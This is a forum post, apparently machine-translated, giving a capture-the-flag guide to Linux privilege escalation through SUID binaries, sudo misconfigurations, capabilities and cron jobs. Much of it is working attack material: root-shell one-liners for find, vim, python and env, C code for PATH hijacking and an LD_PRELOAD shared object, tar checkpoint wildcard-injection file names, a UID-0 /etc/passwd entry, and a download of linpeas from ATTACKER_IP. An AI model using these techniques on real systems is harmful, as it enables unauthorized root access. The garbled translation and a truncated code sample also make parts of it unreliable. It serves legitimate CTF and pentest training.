SUID and sudo on CTF

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
422
Reaction score
686
Deposit
0$
How SUID is Linux bit and why it is dangerous

SUID (Set User ID) is a special bit of access rights that causes the Linux kernel to run a binary file not on behalf of the current user, but on behalf of the file owner. When the owner is root, any user of the system performs a binary with the privileges of the superuser during the operation of the process. The SUID access rights line displays as s in the position of the screen for the owner: -rwsr-xr-x. More details in our article about linux for pentexter.

Installing a SUID bit is two equivalent ways: chmod u+s файл (symbol form) or chmod 4755 файл (numerical). The fourth in the beginning is SUID itself. The remaining 755 are given by the standard rights: the owner of rwx (7), the group and the rest r-x (5). Nearby live SGID (2 — run from the owner group) and Sticky Bit (1 — restriction of deletion of files in the directory, classic /tmp). Combinations are summed up: chmod 6755 install simultaneously SUID and SGID.

A legitimate example is the utility /usr/bin/passwd. The average user should change their password, but the file /etc/shadow only root is available with hashes. SUID on passwd solves the problem: the binary works from root, checks the old password and records a new hash. The problem starts when SUID is on a binary capable of calling shell or writing an arbitrary file — find, vim, python, cp, bash. The boundary between the unprivileged user and the root at this point simply evaporates.

Detail for CTF: If SUID is installed, but there is no execution-bit, a capital appears in the row of rights S instead of lowercase s (-rwSr-xr-x). Binar can not be started - SUID will not work. On CTF machines, this is found as a false trace, do not waste time on it.
Enumeration after receiving shell

The 80% increase in Linux privileges consists of enumeration and 20% decommissioned. Without system information collection, you can spend hours on kernel exploits when root access is in the output sudo -l.
Manual system exploration

The first team – id. Show UID, GID and current user groups. Membership in Groups docker, lxd, disk or adm – independent escalation vectors not related to SUID. Group docker, for example, allows you to mount a host file system inside the container and edit /etc/shadow directly. The second - uname -a for the kernel version (T1082). The third – cat /etc/os-release for an accurate distribution, which is critical when selecting kernel exploits.

Next is the verification of rights to critical files. ls -la /etc/shadow Is shadow available for reading? If so, copy the root hash and run through John the Ripper on the attacking machine. ls -la /etc/passwd Is the recording available? If so, add a user with UID 0 directly.

Central step – search for SUID binary (T1083):

$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/find
/usr/bin/vim.basic
/opt/status-checker

The key skill is to distinguish standard SUID binary from abnormal ones. Set /usr/bin/passwd, /usr/bin/mount, /usr/bin/su, /usr/bin/sudo, /usr/bin/chfn, /usr/bin/newgrp is present on each Linux system by default and is not interesting (if the versions are current). Everything outside of this set is a potential vector. Custom Binari in /opt or /home Priority purpose.

In parallel – sudo -l. Output a list of commands allowed through sudo for the current user. If shell is received from www-data or a similar service account without a password, sudo is usually not available. But it is always worth checking: I met the cars where www-data had NOPASSWD on a specific binary.
LinPEAS and automated vulnerability search

Manual enumeration gives control and understanding, but automated scripts insure against the pass. LinPEAS is the most complete tool for this task. Loading on the target machine: raise python3 -m http.server 8000 on the attacking host, then wget http://ATTACKER_IP:8000/linpeas.sh on the target. Launch: chmod +x linpeas.sh && ./linpeas.sh. The script highlights the results in color: red and yellow – high probability of escalation, green – information. In the SUID LinPEAS section, automatically checks the found binary with the GTFOBins database and marks the operated.

The less hyped tool is suid3num. Focuses exclusively on SUID/SGID files: classifies them into standard, well-known operated and custom, requiring manual analysis. On CTF suid3num is often more effective than the complete run of LinPEAS, when you need a quick check of this vector.

LinEnum is an alternative with a more compact conclusion. It is updated less often, but for basic enumeration is enough. Choosing is a matter of habit.

Before uploading the scripts, make sure the shell is full. If the terminal is limited, create an interactive TTY: python3 -c 'import pty;pty.spawn("/bin/bash")' or script -qc /bin/bash /dev/null. Without TTY many teams (including sudo -l) will not work correctly.
Operation of SUID binary on CTF machines

Found a non-standard SUID – further depends on whether it is a standard binary from GTFOBins or a custom file from the creator of the machine.
GTFOBins and standard SUID vectors

GTFOBins (gtfobins.github.io) is a Unix binary directory that can be used to bypass security restrictions. For each binary, the methods of abuse through SUID, sudo, capabilities, file read and file write are indicated. On CTF this is the first resource after the discovery of a non-standard SUID.

The most frequent SUID vectors on CTF machines:

find – classics of the genre. Team find . -exec /bin/bash -p \; -quit generates root shell. Flag -p critically important: without it, the bash resets the effective UID back to the real, and the SUID doesn't work. -quit completes the find after the first result – without it you get a bunch of shells.

bash The most direct way. /bin/bash -p with SUID on the bash gives root immediately. It's easier.

vim/vi – through :!/bin/bash from command mode or :set shell=/bin/bash with subsequent :shell. An editor with SUID is a complete root access to the file system and command line.

python/python3 – if the interpreter has SUID: python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'. The same is true of perl and ruby.

cp – shell does not directly give, but allows you to overwrite any file from root. Three options: add a user with UID 0 in /etc/passwd; replace /etc/shadow file with known hash; clone bash with SUID — cp /bin/bash /tmp/rootbash, then chmod +s /tmp/rootbash (if cp is also with SUID). The password hash is generated on the attacking machine: openssl passwd -6 password123.

nano – open /etc/passwd through nano /etc/passwd and add a line hacker:$HASH:0:0:root:/root:/bin/bash, where $HASH – hash from openssl. Save, switch through su hacker.

The list of operated binary in GTFOBins is hundreds of positions. Each of them can generate a root shell in the presence of a SUID-bit.
PATH Hijacking via custom SUID binary

On medium-scalf machines there are custom SUID-binari in /opt or /usr/local/bin. They are not in GTFOBins, but they may be vulnerable to PATH hijacking – replacing the called command through the manipulation of the PATH environment variable.

Method: launch strings /opt/custom-binary and look for calls from external teams without an absolute path. If the binary causes service, curl, date without full path (service instead of /usr/sbin/service) – we substitute our executable file:

// exploit.c
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
// gcc exploit.c -o service
// export PATH=/tmp:$PATH
// /opt/custom-binary → root shell

Let's say, strings showed the challenge service apache2 status. Compile.c exploit into file with name service, put in /tmp, add /tmp the beginning of PATH through export PATH=/tmp:$PATH. This PATH hijacking generic technique works for any relative call inside the SUID program. When you start the SUID binary, the system finds our service before the present and executes it from root.

The vector will not work if the binary uses absolute paths. glibc dynamic linker in secure-execution mode (with setuid) clears dangerous environment variables (LD_PRELOAD, LD_LIBRARY_PATH, etc.) — standard behavior ld.so on all modern Linux systems. But PATH does not apply to cleanable variables – that’s why we cling to it.

If strings did not show obvious challenges – strace /opt/custom-binary 2>&1 | grep "No such file". This will reveal attempts to download .so files from non-existent paths. If the path to the missing library is available for recording to the current user, create a malicious shared object with a constructor function that will generate shell. Additionally ltrace will show calls of library functions: on one machine I found through ltrace Challenge system("cat /var/log/status"), invisible through strings, because the string was formed dynamically. So don’t be lazy, run both tools.
Sudo -l: exploitation of incorrect sudoers

Conclusion sudo -l – the second most priority vector after SUID (T1548.003). It shows which commands the current user can execute through sudo and under what conditions.

Typical records that open the way to root: (root) NOPASSWD: /usr/bin/find – find is started from root without password, operation is instantaneous through sudo find . -exec /bin/bash \; -quit. Recording (root) NOPASSWD: /usr/bin/env - sudo env /bin/bash. Wildcard on the way – a separate gift: (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py makes it possible to create /opt/scripts/exploit.py with content import os; os.system("/bin/bash") and run through sudo.

For each binary allowed in the sudo, check the “Sudo” section on GTFOBins. Interpreters (python, perl, ruby), editors (vim, nano, less, more), file utilities (cp, mv, find) and network tools (nmap, tcpdump) - all have documented paths to shell through sudo. Flag -p no need for sudo: sudo already provides root context.

Separately – sudo --version. Outdated versions contain known vulnerabilities of bypassing sudoers restrictions. Search for exploits: searchsploit sudo on the attacking car.
LD_PRELOAD and LD_LIBRARY_PATH via sudo

If sudo -l contains a string env_keep += LD_PRELOAD or env_keep += LD_LIBRARY_PATH It is one of the most reliable vectors. These environment variables allow you to download an arbitrary shared library before running the target program:


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
// gcc -fPIC -shared -nostartfiles -o /tmp/pe.so preload.c
// sudo LD_PRELOAD=/tmp/pe.so /usr/bin/apache2

Compile shared object, specify it in LD_PRELOAD and run any program from the list of sudo. Function _init() executed to main() Target program. Challenge unsetenv("LD_PRELOAD") prevents recursive loading.

For LD_LIBRARY_PATH, the principle is similar: through ldd /usr/bin/apache2 we find out the connected .so files, create a malicious library with the name of one of them and put it in the specified directory.

Precondition: line env_keep should clearly contain these variables. In default configurations Ubuntu 22.04+, Debian 12+ LD_PRELOAD is reset at sudo. On CTF-machines, the misfunction is exhibited intentionally.
Capabilities is an invisible vector of escalating privilege

Linux capabilities is a mechanism for the granular distribution of privileges, an alternative to complete SUID. Instead of root access, the binary is assigned a specific capability: CAP_NET_BIND_SERVICE for privileged ports, CAP_DAC_OVERRIDE to circumvent access rights checks, CAP_SETUID to change the UID process.

CAP_SETUID – functional equivalent of SUID-bit, but invisible through ls -la. It is only detected through getcap -r / 2>/dev/null. Conclusion /usr/bin/python3.10 = cap_setuid+ep means that python3 can change UID — and through python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' get root shell.

On CTF capabilities, SUIDs are less common – that is why many participants pass them. Add getcap -r / 2>/dev/null in your checklist: ten seconds that save an hour of wandering on false tracks.

GTFOBins covers the capabilities for most standard binary – look for the “Capabilities” section on the specific utility page.
Cron-tasks and wildcard injection in tar

Cron-tasks run from root are another frequent vector on CTF machines. Check: cat /etc/crontab, content /etc/cron.d/, directory /var/spool/cron/crontabs/, and also systemctl list-timers for systemd timers.

Two main operating scenarios:

Re-recordable script. Cron launches from root script available for writing to the current user — replace content on chmod +s /bin/bash or reverse shell. After the next trigger, root. On the CTF, the schedule is usually set for every 1-5 minutes.

Wildcard injection in tar. If the task contains tar czf /backup/archive.tar.gz * in a certain directory, at tar There are keys --checkpoint and --checkpoint-action, which allow you to execute an arbitrary command. In the target directory, we create files whose names tar interprets as arguments when disclosing wildcard * shell: touch './--checkpoint=1' and touch './--checkpoint-action=exec=sh exploit.sh' (Everyone touch creates a file on the disk with the appropriate name - the space is part of the file name). File exploit.sh contains a reverse shell or chmod +s /bin/bash. The technique is documented in the shell section on the tar page in GTFOBins. When processing wildcard * tar will accept file names for their own keys – and execute the script from root.

After creating the files, start nc -lvnp 4444 on the attacking machine (if in. exploitsh reverse shell) and wait for the cron to be triggered.
 
Top Bottom